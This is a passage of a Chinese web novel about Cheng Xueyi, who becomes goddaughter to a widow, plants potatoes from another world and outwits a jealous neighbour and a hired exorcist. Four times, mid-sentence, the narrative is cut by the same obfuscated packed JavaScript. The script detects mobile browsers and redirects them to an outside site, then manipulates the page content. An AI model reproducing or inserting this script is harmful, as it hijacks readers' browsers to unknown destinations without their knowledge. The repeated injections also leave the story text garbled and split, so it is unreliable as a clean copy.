程雪衣将前因后果给秦莫如细细说了，期间，多橘倒了两碗清水，便去西屋收拾床铺去了。 “现下既已和沈家解除婚约，怕是再叫‘娘’便不妥了。” 程雪衣一时不知如何应答，想了半晌，说道：“嗯……不如让我做您的干女儿，唤您一声‘干娘’吧？” 秦莫如自是高兴，连连点头应道：“好，干女儿好。” “干娘，我此行是为了将干爹留下的铺子契约，送还给您的，您务必保管好，千万别让沈家叔叔再夺了去。” 说罢，程雪衣从上衣夹缝中掏出契约，递交到秦莫如手上。 “这铺子契约，怎的在君昌手上？” 说起这个铺子，还有些来头。沈君卓与沈君昌原系同父异母的兄弟，沈君卓是庶长子，沈君昌则为正妻所生。其父临终前，将大半部分的田产店铺皆留给了嫡子，至于沈君卓只分到两间铺子和老家的几亩良田。 “若不是沈君昌因为赌博无力还债，弄得一张伪契蒙骗王掌柜，我也不会知晓他手里有铺子契约。我也是使了点手段，才将这张真契约拿到手，您务必好生保管，万不可弄丢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083536|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦莫如虽知沈君昌夫妇二人是贪图便宜之人，没想到竟包藏祸心，觊觎这点薄产，不禁胆寒。她怔了片刻，拉起程雪衣的手：“程姐儿，难为你了。” 桌上的烛火颤动，燃起阵阵黑烟。秦莫如依靠在程雪衣的怀里，低声哭泣。 说罢，秦莫如自回东屋歇息去了，程雪衣和多橘二人挤在一张榻上歇下了。 — 翌日早晨，院内黄狗在柴门处吠咬几声，就朝正堂门首跑了过来。 那黄狗饿得皮包骨头似的，晃着尾巴，颠颠儿朝程雪衣跑了过来。程雪衣揉搓着眼睛，见它围在脚下撕咬裙边，轻喝一声：“好狗儿，快一边玩去。” 黄狗又跑向远处，吠声更加狂躁，程雪衣远远地看着，见一妇人躲在矮墙外，不停徘徊。 “程姐儿，何事这般动静？”秦莫如梳洗完毕，端着洗手盆来到屋外。 “干娘，外面好像有人。” 秦莫如顺着程雪衣的视线望向远处，觉得身形熟悉，顺手将木盆搁在地上，款步上前。程雪衣也一并跟了上去。 “莫如嫂子。”妇人径直走过来，裹着青布头巾，穿一身湖绿色布衣，臂弯上还挎着一个小篮子，篮子上用绢布蒙着。 “贺家妹子，你怎么来了？”秦莫如上前几步，寒暄道。 程雪衣见那妇人脸上布满雀斑，身材瘦弱，手上却有把子气力，一把将身后的男娃娃拉到秦莫如跟前。 “快给秦大娘赔个礼！”男娃娃又重新跑回贺玉莲的身后，双手紧紧拽着母亲的裤子，探头望着，嘴巴紧紧抿着。 “嫂子，晔哥儿怎么样了？好些了么？”贺玉莲边说边又把男娃娃拽到前面，逼着他行礼。 “夜里一直发热，刚才摸着烧热退去不少，还得将养些日子看看。”秦莫如神色黯淡，又勾起伤心事，声音沉道。 贺玉莲上前握住秦莫如的手道：“昨儿，晔哥儿和章哥儿在河边玩耍，许是河边青苔多，不小心失足滑落河底，这才出了事。” 秦莫如沉默半晌，她又说道：“晔哥儿人没事就好，我带了些鸡蛋，拿给晔哥儿补身体。”贺玉莲掀开绢布，篮子里面装着七八个鸡蛋。 “还是拿回去自己吃吧。”秦莫如婉拒道。 程雪衣在一旁看得真切，贺玉莲看似领着孩子前来道歉，却将晔哥儿失足落水的事情与自家娃娃撇得干净。于是，她上前搀扶秦莫如的胳膊，低语道：“干娘，家里没甚吃食了，晔哥儿需要补些营养，暂且收下吧。” 秦莫如听了会意，便上前接过篮子，对程雪衣说道：“程姐儿，去把篮子腾空了还给贺娘子。” 章哥儿在贺玉莲身后站得不老实，晃悠着身子，朝程雪衣做了个鬼脸。 程雪衣鼓了鼓嘴，没搭理章哥儿，转身朝灶房去了。 待将鸡蛋放好，程雪衣又将小篮子重新交给贺玉莲。贺玉莲又劝了秦莫如几句，领着章哥儿回去了。 有了这几个鸡蛋，早饭算是有了着落，程雪衣回到灶房，打算蒸碗鸡蛋羹，大家分食。 她取鸡蛋在瓷碗上磕了磕，只见蛋黄和蛋清顺着碗壁滑入碗底，浑浊一片。程雪衣低头闻了闻，一股腥臭扑鼻而来。 好个贺玉莲！竟然送来几个臭鸡蛋。她端着碗，忙朝院门外追去。 11. 第 11 章 程雪衣追出去时，早已不见贺玉莲的身影，悻悻而归。 “干娘，这个贺娘子怎的送坏鸡蛋给我们？”她将那碗鸡蛋递给秦莫如。 秦莫如望着碗里的鸡蛋，眼圈不由得红了。如今她们孤儿寡母无依无靠，旁人看笑话倒也罢了，连同宗的亲戚都来踩上一脚，怎能不叫人寒心？ 她指尖轻轻发颤，沉声道：“罢了，贺玉莲未必是真心来赔罪，送些臭鸡蛋来也不足为奇。”说罢，她将碗推到桌角，摆摆手道：“晔哥儿还需服药，还是煮些别的东西吃吧。” 程雪衣点了点头，拿起碗，回了灶房，将碗里的蛋液倒进花盆中当花肥。 “姐儿，咱们早饭吃什么？”多橘四处寻些可食之物，见橱柜上头有一束干菜，踮脚想去够下来。 她搬来鼓凳，踩在上面，将那束沾着灰尘的干菜拽下来，“哗啦”一声响，从上头滚下来几个圆滚滚的块状物，上面生着淡黄色的幼芽。 程雪衣走近一看，是自己从异世界带来的“土豆”。穿越过来时，恰逢沈君卓刚过世，慌乱之下将怀中的几个土豆放在了橱柜上，现下已然发出幼芽了。 瞬间，她的目光燃起一丝希望：“土豆本不是这个世界有的食物，若是好好利用，说不定不仅能解决温饱问题，还能赚到第一桶金。” 她忙上前拿过那三颗土豆，放在手里端详。现下虽已是三月下旬，种植尚还来得及，等到六七月份便能长成，还能赶上下一茬种植。 “没见过这个东西吧？”程雪衣抬眼问道。 多橘摇摇头：“姐儿，这东西是什么？” “它呢，是一种舶来品，学名叫做‘马铃薯’。嗯……就是漂洋过海，从另一个地方传来的。”程雪衣边说边坚定地点头。 “那它还能吃吗？”多橘问。 “现下还不能吃，将它们种在地里，只需耐心等上三四个月，再把它们挖出来煮熟，便能食用了。” 多橘满脸失落：“那咱们今早先吃这个干菜？” 程雪衣也颇感无奈，于是二人分工，煮了一盆干菜汤，算是对付了一顿早饭。 饭毕，程雪衣拿起锄头和铲子，在庭院后方的菜园里开垦出一片菜地。她先用锄头松土备垄，再用小铁铲挖出一个个小土坑，将切好的马铃薯块茎挨个放进土坑里，而后用土轻轻掩埋好。 秦莫如在屋内瞧着程雪衣正弯腰摇轱辘，忙出门阻止，喊道：“程姐儿，你这是做什么？快放下，这般重的活儿，你一个人做不来的。”说着，便将程雪衣拉到一旁。 “干娘，我近来身子好得很，拎一桶水不碍事的。再说了，我这般年纪，岂能赖着不做活？”她朝多橘使了个眼色，多橘立刻上前搭手，等将水抬上来，二人又合力抬到菜园。 秦莫如款步跟随在后。 程雪衣又在埋好的土豆上浇了水，而后将菜园的篱笆门掩好，出来坐在石墩上歇息。 “程姐儿，你种的是什么？”秦莫如探颈望了望，转过身问程雪衣。 “干娘，再等几个月，等它长大了便能吃了。”程雪衣打马虎眼道。 秦莫如掏出帕子为程雪衣拭汗，满眼心疼：“好闺女，难为你了。”她又将程雪衣揽进怀里，轻轻拍着她的肩膀。程雪衣顺势将头埋下去，撒娇道：“干娘的事就是我的事，一家人不说两家话。” 秦莫如听得越发感动，心中不禁后悔当初退婚约的事情。 “干娘。”程雪衣从她怀里挣出来，抬眼道：“晔哥儿现下还需服药，少时我与多橘便往县上买药，再买些粳米和果蔬，您在家中好生照看晔哥儿和盈姐儿便好。” 说罢，程雪衣抬脚要走。秦莫如忙拽紧她的衣袖，程雪衣顿住脚步，回头见秦莫如将她腕上的镯子取下，置于她掌心：“将这镯子当去换些钱来。” “您这是做什么？快收好。”程雪衣将镯子重新交回秦莫如手中。 秦莫如忽地落下泪来：“怎好用你的钱？就算日子过得再艰辛，也不好平白受用。” “干娘！”程雪衣急得跺了跺脚，又道：“我既已是您的干女儿，理应照顾您和孩子们。虽说我与同之解了婚约，但您对我的恩情，我断不敢忘，快别推辞了。” 秦莫如只得点头道：“都依你。” 话毕，程雪衣主仆二人便往县中购置用品去了。 — 晌午饭后，程雪衣和多橘拎着几个包裹回了家。 “干娘，快出来瞧瞧。”程雪衣将手上的东西都搁在圆木桌上，在方凳上坐下歇脚。多橘连忙为她倒了杯凉茶解渴。 秦莫如掀开门帘，从东屋缓步而出，眼角噙着笑意：“在外面吃过晌午饭了？” “已在外头吃过了。盈姐儿，快来！”程雪衣朝盈姐儿挥了挥手。 盈姐儿见桌面上堆着满满的包裹，眼睛瞬时亮了，一下子扑进程雪衣怀里。 “多橘，先把买的糖糕拿出来，给盈姐儿和干娘尝尝。”程雪衣抚着盈姐儿的脸颊，轻轻在她脸蛋上啄了下。 “都在这儿呢，夫人您尝尝。”多橘说着，又给盈姐儿递过一块。 盈姐儿三两口便吃完了，多橘忙又给她拿了一块。 秦莫如望着桌面上堆着的食物、药品，脸上有些过意不去：“又让你破费了。” 程雪衣忙拉起她的手道：“以后再这般说，我可真要伤心了。”说着，她故意撅起嘴，将脸扭向一边。 秦莫如慌了神，连忙应道：“以后再也不说了，程姐儿快别闹别扭了。” “这才对嘛！”她转过脸，冲秦莫如仰脸笑了。 又说了会子话，秦莫如去灶房给晔哥儿煎药，盈姐儿回东屋歇午觉。待晔哥儿服过药，秦莫如也挨着他躺下歇息了。 见日头还高，程雪衣戴着粗布盖头，背起竹篓，同多橘往后山采野菜去了。 山野间，微风抚弄树叶，摇出沙沙轻响。一束日光透过林木缝隙，在地上照出一条明亮的道路。 程雪衣用袖子擦了擦汗，回头望了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092561|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望身后的多橘。 “姐儿，要不咱们歇会儿再走？”多橘扶着腰喘气，将背上的竹篓搁在脚边。 “也好，先歇会儿。” 多橘从背篓里摸出一个竹筒，递给程雪衣。程雪衣喝了几口，又递还给多橘。 二人歇了片刻，起身继续往野菜多的地方去。她们绕过一个小山包，顺着山路来到一片水田边。 岸边绿树成荫，枝条在风里舞动，一头水牛正在田埂上专注地吃草，见程雪衣二人走近，瞬时停住动作，嘴里还叼着草，愣愣地望着她们。 “多橘，快看！”程雪衣朝远处指了指。 只见树荫下立着一人，见她们过来，便快步走向水牛，将缰绳牢牢攥在手中。 “姐儿，你慢着些。”多橘在后头叮嘱。 不等多橘追上，程雪衣已走到坡下的水田边。那男子见是陌生女子，忙低首拱手，向多橘致意：“姑娘请过。”多橘福了福身，快步走到程雪衣跟前，低声说：“姐儿，咱们该回了。” 程雪衣望着那头怔立的牛，又瞧着水里刚插的矮秧，春日暖和，田埂上鲜花争艳，不禁沉醉在山水田间，脚步未曾移动。 男子轻轻咳了一声，提醒她们。程雪衣这才回过神，透过盖头缝隙望去，见他手里捧着本《论语》，心想定是个识礼的读书人。 “大哥，劳烦您瞧瞧，这些野菜是否能吃？”程雪衣开口问道。 多橘将背篓里面的野菜都倒在草地上，男子上前两步，见都是荠菜、马兰头之类的寻常野菜，便回礼道：“姑娘放心，这些都是可食的。” 程雪衣点头谢过，与多橘一同将野菜收进背篓。 “郝家轩！”一个尖锐的女声突然划破寂静，只见一个妇人风风火火从远处赶来。 等那矮胖妇人走近，程雪衣认出正是贺玉莲，心头顿时蹿起一股怒火。 “又和哪个小妇拉拉扯扯？”贺玉莲一把揪住郝家轩的耳朵，将他拽到一边，扭头瞪着程雪衣骂道：“你有脸勾引汉子，倒没胆露脸？”说着，便要上前扯程雪衣的盖头。 多橘忙上前将程雪衣护在身后，急道：“贺娘子，你讲理不讲？” 身后的郝家轩也上前阻拦：“你个泼妇，休要在此丢人现眼！快给这位小娘子赔不是！” 贺玉莲见多橘有些面熟，似是在哪里见过，又瞧丈夫这般维护对方，越发撒起泼来，撤着嗓子喊道：“没天理了！程家姐儿抢汉子了！” 程雪衣忍无可忍，摘下盖头扔在地上，愠怒道：“贺娘子，先前你送的那几个臭鸡蛋我还未找你理论，现下你倒敢辱我清白，安的什么心？” 郝家轩见婆娘这般模样，气得甩袖便走，一路快步往河边去。 贺玉莲认出是程雪衣，却依旧嘴硬：“你休要血口喷人！我何时送过臭鸡蛋给你？” 程雪衣欲上前争辩，忽听远处传来“扑通”一声响——原是郝家轩在气头上心神不宁，路过石桥时脚下一滑，竟从桥边翻落进了河里。 12. 第 12 章 夕阳渐渐落入山谷之中，程雪衣踩着地上的金色余晖，脚步轻快地往家去。 刚推开柴门，黄狗便摇晃尾巴迎上来，在程雪衣的脚边蹭了蹭。她将身后的背篓卸给多橘，蹲在地上同黄狗玩闹了会，才缓步往正堂走。 多橘先打了盆清水，又到院里晾衣杆上扯了条干净帕子，递与程雪衣擦手。她略整理了一下衣衫，便去东屋寻秦莫如。 “干娘，晔哥儿好些了？”见秦莫如正拿着帕子为晔哥儿擦手，程雪衣忙上前接过，又道：“您歇会儿，我来。”秦莫如将手中的帕子递了过去，往旁挪动身子，让她挨着坐下。 秦莫如嘴角含笑道：“现下好多了，退烧了，刚才还吵着要吃糖呢。” 程雪衣细细擦完晔哥儿的胳膊，将他的袖子理好，唤多橘将水盆端出去。 “晔哥儿是个有福气的，您也不必太过忧心。”程雪衣欠了欠身，轻声劝慰。 “对了，晚饭我已备好，你和多橘在外忙了这半日，想必一定饿了，咱们这就用饭。”说罢，秦莫如拉起程雪衣的手，起身往灶房走去。 盈姐儿在院里玩陀螺，见秦莫如向她招手，便悻悻地扔下手中的陀螺，从院里跑了进来。 多橘领着盈姐儿洗了手，又回灶房摆碗筷。程雪衣瞧着灶台上摆着几盘菜——菘菜羹、肉末豆腐，还有几碗荠菜馄饨，睁大眼睛问道：“干娘，这些都是您亲手做的？” “是，你尝尝我的手艺，看合不合胃口。”秦莫如上前端起一盘菜，搁在矮足几上。四人挤在灶房的矮几旁用饭，门外远山处月亮高悬，周围逐渐沉寂下来。 “干娘，这荠菜馄饨真好吃，是吧，多橘？” 多橘点头应道：“嗯，夫人的手艺真好。” 秦莫如笑着，又将自己碗里的馄饨拨了几个给她俩。 “干娘，我们今日采了些野菜，一会儿您瞧瞧，里头有没有能吃的荠菜？” “好。”秦莫如笑着应道。 待用过饭，多橘将背篓里的野菜倒在桌子上，秦莫如仔细翻了翻，见不仅有荠菜，还有其他几种可食的野蔬。 “这些都是你们摘的？”她诧异道。 “没错，干娘，这些都是我和多橘在后面小山上采的。那山坡后面有好大一片野菜，我见没人去采，都采了回来。” 秦莫如闻言，便拉起程雪衣的手，仔细劝说：“那山上危险，又少有人经过，以后莫要再去冒险了。” 程雪衣望着桌上摊着的野菜，不由想起今日在水田边发生的事情，不知那姓郝的书生现下如何了。她和多橘离开之前，眼看着贺玉莲已将人从河里打捞出来抬走了。 她回过神问道：“干娘，那贺玉莲的夫君，可是叫做郝家轩？” “你怎得知？”秦莫如抬眼看她。 “今日在水田边好巧遇到，与他询问些事情，偏被贺玉莲撞见。她张口便来羞辱，我气不过，便回了几句嘴。”程雪衣说着，头微微垂了下去。 秦莫如松了手，将桌上的野菜拾进菜盆，又从水缸里舀了几瓢水倒进去，一边忙活一边说道：“往后见了贺玉莲，躲远些，那郝书生也少招惹。你不知，这十里八村谁不晓得贺玉莲泼辣善妒？向来不许夫君与其他女子搭话。” 她将溢出盆外的野菜压实一些，继续说道：“偏她夫君是个读书人，面皮薄，不好与她争执，况且争执也无用，贺玉莲每次撒泼胡闹，他只得忍气吞声。” 程雪衣这才恍然：难怪当时郝家轩气得满脸通红，甩袖便走。 她接过秦莫如手里的水瓢，又问：“干娘，那郝家轩既是读书人，怎会娶这般泼辣的娘子呢？” “我和你干爹刚搬来真州时，他们还没成亲呢。只知早年贺玉莲的爹爹是这附近有名的屠夫，家境殷实；郝书生却家徒四壁，虽有求取功名之心，却屡试不第，父母年迈又有弟妹要养，也是无奈才应下这门亲事。” “难怪他见贺玉莲如此撒泼，竟也拿她没辙，原来是惧内啊！”程雪衣说着，将水瓢反扣在桌案上。 秦莫如抬手想点她额头，又收了回去，只道：“总之，见了他们远远避开便是。” 程雪衣点头应道：“知道了，干娘。” — 夜半时分，程雪衣起身去灶房寻水喝，瞧见窗纸上映着秦莫如的身影。 “干娘，怎么还不睡啊？”她揉了揉眼睛，见秦莫如正坐在杌子上择野菜，指尖将黄叶烂根一一掐去。 “近来夜里总难安睡，索性起来将这些野菜收拾出来，洗净了腌成酱菜佐饭。”秦莫如头也没抬，继续忙着手上的活计。 程雪衣听着来了兴致，也顾不上喝水，凑过去蹲在一旁：“这些野菜是如何腌成酱菜的？” 秦莫如便耐心讲给她听：“先将野菜用水洗净，沥干水再往腌菜坛里码，每一层都要撒上粗盐按实了，等过了个把月的时间，取出食用的时候多过几遍水去掉咸味，再拌上少许花生油、香油，滴几滴香醋，撒些白糖，就成了。” 程雪衣伸手帮忙择菜，二人忙活了一阵，将收拾好的野菜全部置于坛中。秦莫如又在上面淋了些白酒，将瓷碗盖在坛口，碗沿添上一碗清水封实，才算大功告成。 等将腌菜坛子挪到灶房阴凉处，秦莫如拉着程雪衣的手，到庭院的竹椅上坐了会。 院里静悄悄的，二人都没有说话，程雪衣抬头望着天空数星星，秦莫如话堵在嘴边迟迟说不出，又过了半晌，方才开口道：“程姐儿，你来我这儿，家里人知道吗？” 程雪衣转过头望她，点头道：“我已给爹娘寄去家书，把这边的情形都说了。” “那你……怕是要动身回柳州了？”秦莫如紧紧攥着手中的帕子，低头沉声道。 “干娘是……是要让我回柳州去？”程雪衣心头一紧，坐立难安。 “你别多心，我只是……不好多留你在身边。你爹娘他们定惦念着你，盼你早些回去团聚呢。”她抬眼望着程雪衣，眼圈红了些：“你是个好闺女，同之若真能娶到你这样的，那是沈家祖上积德。可人人都说，他怕是在战场上丢了性命，不然怎会许久不与我们相聚？” 说罢，她情绪有些激动，望着月亮的眼睛渐渐朦胧起来。 “干娘，我本打算等晔哥儿身子好利索了，就回柳州去。可我也着实放心不下你，若您不嫌弃，便随我回柳州去，我给您养老送终可好？”程雪衣边说边伏在秦莫如的膝上，脸颊被秦莫如手上的帕子轻轻扫过，感到有些发痒。 “难为你有这份心，干娘谢谢你，可你干爹还在这儿，我哪儿也去不得。” 程雪衣“噌”地起身，抬头问道：“若是同之还活着呢？您可愿意随我北上去寻他？” 秦莫如眼中瞳孔收紧，忙正色道：“你怎会有这般念头？” 程雪衣道：“沙场上刀枪无眼，殒命原是常事。可同之若真有不测，军营里早该遣人送信来，还会有抚恤银子。”她思忖片刻，接着说道：“如今虽过了服役时间，他未归家，想是有事耽搁，或是得了重用，留在军营也未可知啊？” 秦莫如听她这么说，不禁连连点头：“同之自小研习兵书，深谙用兵杀敌之道，又有一身好武艺，即便在战场上遇险，也定能逢凶化吉的。” 听着程雪衣如此说，她心头的郁结散去大半，笑着问道：“好闺女，若吾儿真能全须全尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105487|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地回来，你可愿再思量思量，做我的儿媳妇？” 什么？ 程雪衣闻言一怔，支支吾吾道：“那个，那个……” 她虽知沈偕将来或许能荣归故里，高官厚禄自不必说，可又想起书中描写关于他所做的种种卑劣行经，眉间不由蹙起，默默摇了摇头。 秦莫如见她似有不愿，便止住话头，闲聊了几句家常，便各自回屋歇下了。 — 又过几日，用过早饭后，秦莫如守着药铫煎药，多橘拿着扫帚在庭院洒扫，程雪衣则带着盈姐儿坐在院角的小石墩上斗百草。 只见程雪衣手中执一根细长野草，手腕微旋，轻轻地与盈姐儿手中的另一根野草相缠。盈姐儿年纪小，不懂巧劲儿，一心只想着赢，拽着草茎使蛮力拉扯。不多时，手中的野草“啪”得一声断了。 她当即将腿并拢侧过身坐着，耷拉着小脸道：“不玩儿了。” 程雪衣见她小脸扭向一边，闷不做声，不禁感到有些后悔，刚刚让着她点就好了。她轻轻握住盈姐儿的小手，耐心哄道：“咱们再来一局，这次姐姐让你赢好不好？” 盈姐儿听了，欢喜地从石墩上跳下来，拉着程雪衣的手便往院门口走。还未走到院中央，却见贺玉莲领着个术士朝院中闯来。 只见那位术士身着淡蓝色道袍，头戴逍遥巾，肩上挎着个装卜具的褡裢，左手托着枚铜镜，右手拈着胡须，亦步亦趋跟在贺玉莲身后。 未等程雪衣细问缘由，贺玉莲已快步上前，一把拽住她的胳膊堵住去路，尖声嚷道：“先生快看！定是这妖女摄去了我夫君的魂！您快拿出铜镜降服她！” 程雪衣用力挣了挣，盈姐儿也拉着她的手往后使劲儿拽。多橘在一旁见程雪衣与贺玉莲拉扯，忙拎着扫帚挥了上去，贺玉莲怕被打到，只得松了手。 “你个刁奴，先生在此，你竟还敢护着妖女！” “你满嘴胡吣什么！快走，这里容不得你来撒野！”多橘又扬起扫帚，贺玉莲没法子，暂时躲到术士的身后。 灶房里的秦莫如听见院内的吵闹声，忙放下扇火的蒲扇，快步提裙从灶房里出来，见此情形，沉下脸道：“贺娘子，你这般闯进来胡闹，成何体统！” 她将程雪衣和盈姐儿护在身后，冷眼看着贺玉莲。 “好嫂子，你可莫要被这妖女蒙骗了！即便此女不是妖精所化，也定是被邪祟附了身，才害得我家夫君这般。”贺玉莲拔高嗓音，气势汹汹。 这贺玉莲来闹事，皆是因郝家轩落水一事。那日郝家轩落水，幸得路过的乡邻搭手，与她一同将人救上岸。可他服了郎中的药，仍是高热不退，夜里总在空中乱抓，嘴里叫嚷：“别来抓我！走开！走开！”前两日他尚且清醒，能喝水进药，从昨日起竟滴水不进，昏迷不醒了。 贺玉莲见心爱的夫君如此惨状，急得团团转，郎中都说性命无碍，恐是惊悸所致，一时胡言乱语，呆呆痴痴模样也属正常。可她哪里肯信，转头又托人去乡里寻了个术士来，要为夫君“化煞驱邪”。 “我看你是思夫心切，魔怔了！再敢胡言，我便去叫里正来评理！”程雪衣从秦莫如身后探出头，不肯示弱。 见此间有热闹可看，矮墙外瞬时站满了看热闹的乡邻，大家你一言我一语地议论起来： “贺家娘子这是急糊涂了吧？” “程姑娘看着柔柔弱弱的，怎会是妖女呢？” “……” “先生，您还愣着干什么，快验明她的真身！”说着，贺玉莲将术士的左手抬举起来。那术士手中的铜镜在日光下晃了晃，不消片刻，程雪衣只觉一阵头晕目眩，脚步踉跄着便要倒地。 13. 第 13 章 程雪衣顺势倒地，多橘忙上前搀扶。秦莫如见状，也顾不得与贺玉莲理论，快步走到程雪衣身边。矮墙外看热闹的乡邻凑上前，此刻已经慢慢形成一堵墙围了上来。 贺玉莲高声叫嚷：“乡亲们快看！我就说此女并非善类，果不其然！”她将术士一把拉上前来，继续说道：“先生，快仔细照照，让她现出原形来！” 那术士口中叽里呱啦念着咒语，先是将铜镜正面朝上吸收阳气，而后又将镜面对准程雪衣的面庞反复照射，如此操作一番，又引来阵阵议论声： “快看！她躺在那儿一动不动，面色惨白，难不成真是妖精幻化？” “她手动了！手动了！” “娘，我害怕！”一个妇人用手将女娃娃的脸挡上。 少时，程雪衣缓慢睁眼，见术士手中的铜镜再次晃动，凭着尚存的一丝气力一把夺过铜镜，扔在地上。 “你这妖女！摔我宝物作甚？”术士立即上前，捡起摔在地上的铜镜，见那铜镜已生出几道裂纹，他立刻急道：“毁我宝镜！断不能轻饶了你！” 说罢，他双目紧闭，从褡裢中又拿出一桃木法剑，在空中乱挥了挥。 贺玉莲见此阵仗，怕误伤自己，往后退了几步，顺手捡起地面上的陶盆，护在胸前。 程雪衣见一堆人从旁说三道四，又见那术士不肯罢休，捏了捏多橘的指尖，无奈道：“多橘，先扶我回屋吧。” 几人合力将程雪衣搀扶到西屋，让她在榻上歇下。待秦莫如将正堂门首关好后，领着盈姐儿来到程雪衣处。 “程姐儿，可是身体不舒服？”秦莫如抚摸她的额头，并未发热，便放下心来。 “一定是被他们胡乱闹了这遭，才惹得你身子不痛快，我这就将他们撵出去。”说罢，秦莫如起身要走，被程雪衣一把拉住手腕。 程雪衣将身子坐直，一只胳膊扶在凭几上，柔声道：“您先别出去，免得吃亏。贺玉莲是有备而来，定是与那术士串通好了的，现下，只能想些办法使术士说出真话，才能结束这场闹剧。” 秦莫如望着窗外，见院子里的人越来越多，已然能看见几张脸趴在窗缝上朝西屋瞧看了。她着急踱着步子，手中的帕子扬起又放下，连连叹气。 “多橘。”程雪衣摆手让多橘离近些，在她耳边说了几句话。多橘从桌上的针线盒里拿了把剪刀，藏在袖口中，推开房门，朝院中走去。 “看够没有，都离这儿远些！”多橘先是将在窗根底看热闹的乡邻轰走，又快步行至术士面前。 她上前比了个停止的手势，术士双目紧闭，不曾瞧见。多橘又朝他耳边大吼一声：“快些止住吧！”术士这才睁眼，放下手中的桃木剑。 “某劝姑娘远离是非之地！”术士做出老者派头，劝训道。 “我们姐儿请您屋内叙话。” “无论她使什么阴谋诡计，老夫也定能降服！”他将破碎的铜镜放回褡裢里，然后右手紧握桃木剑，随多橘去了正堂。 “你且在门槛外候着。”多橘转身进了西屋，将情况说与程雪衣。 程雪衣了然，心中盘算过后，开始朝门外扬声道：“先生，我可曾得罪于你？” 术士听见屋内传出话来，立刻打起精神回道：“你虽不曾得罪于我，可留你在此间，终究是个祸害！” 多橘气得忙要上前教训那术士两句，却被程雪衣阻止，只好作罢。 “……” 过了片刻，程雪衣开口道：“那贺玉莲许诺你何种好处，你竟如此颠倒是非黑白！” 术士未露半分心虚，仍理直气壮道：“你休要拿话臊我，为民除害，天经地义！” 程雪衣接着说道：“你口口声声说我不详，又无确实证据。那郝家轩落水一事本就与我无干，你怎能听信贺娘子一家之言？既然贺娘子愿出钱请你做法除祟，那小女也愿呈上银两，洗刷冤屈。” 术士闻言，捏捋胡子，思忖片刻道：“不知姑娘舍得出多少？” “五两银子。”程雪衣立即回道。 秦莫如忙拉过程雪衣的手，低声说道：“这些银钱都快够我们三个月的花销了。”程雪衣回握她的手，温柔说道：“放心吧，干娘。” 术士二话不说，立刻应道：“成交！”他又道：“待我想个好说辞……” 程雪衣眼睛一转，计上心头：“你便照我说的去做……” — 众人见术士久久未出屋门，不由担心起来。不知从何时起，乡亲们手中已拿着锄头铲子，又有几人拿着木棒，聚集在墙里墙外，不肯离去。 贺玉莲见术士未回，也不敢轻举妄动，手上的陶盆迟迟未敢放下。大家正伸长脖颈往远处望时，只听木门“嘎吱”一声响，旋即被推开半扇。 术士深呼一口气，缓步上前，众人也忙围了上来。 “先生可好？” “那程娘子究竟是否是妖女？” “……” 众人七嘴八舌的，术士倒插不进去话。“嚷什么嚷？让先生说话！”贺玉莲从人群里探出头，场面瞬间安静下来。 “大家怕是对程娘子有什么误会，她并非是妖女，只是前些日子去后山采摘野菜，撞见了不干净的东西，身子才会如此柔弱。”术士解释道。 “那郝家轩生病与程娘子何干，贺玉莲也太小题大做了吧？”一个老妇在人群中低声议论。 “诶？程娘子在后山撞见了不干净的东西，那轩哥儿莫非也是撞见不干净的东西才会久病不起？” 贺玉莲见众人将话头又重新引到自己夫君身上，忙上前解释：“我也去了后山，怎得没撞见脏东西，现下不是好好的吗？” 她将术士拉到一旁，着急问道：“先生答应我的事情，怎可不作数？” 术士亦是见风转舵之辈，忙摆手道：“我何时答应过贺娘子行不义之事？”说罢，快步向矮墙外走去。 贺玉莲愤愤道：“亏得不是个秃驴和尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115225|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，穿着人皮不做人事！”接着，她又朝地上“啐”了口。 只见章哥儿从远处急忙跑来，额头上布满细密的汗珠，他边跑边叫道：“娘，爹爹醒了！你快回家看看吧！” 贺玉莲忙转过身来，不由分说就朝章哥儿的屁股蛋子上拍了一巴掌：“嚷什么嚷？不知道的还以为你老子爹没了呢！” 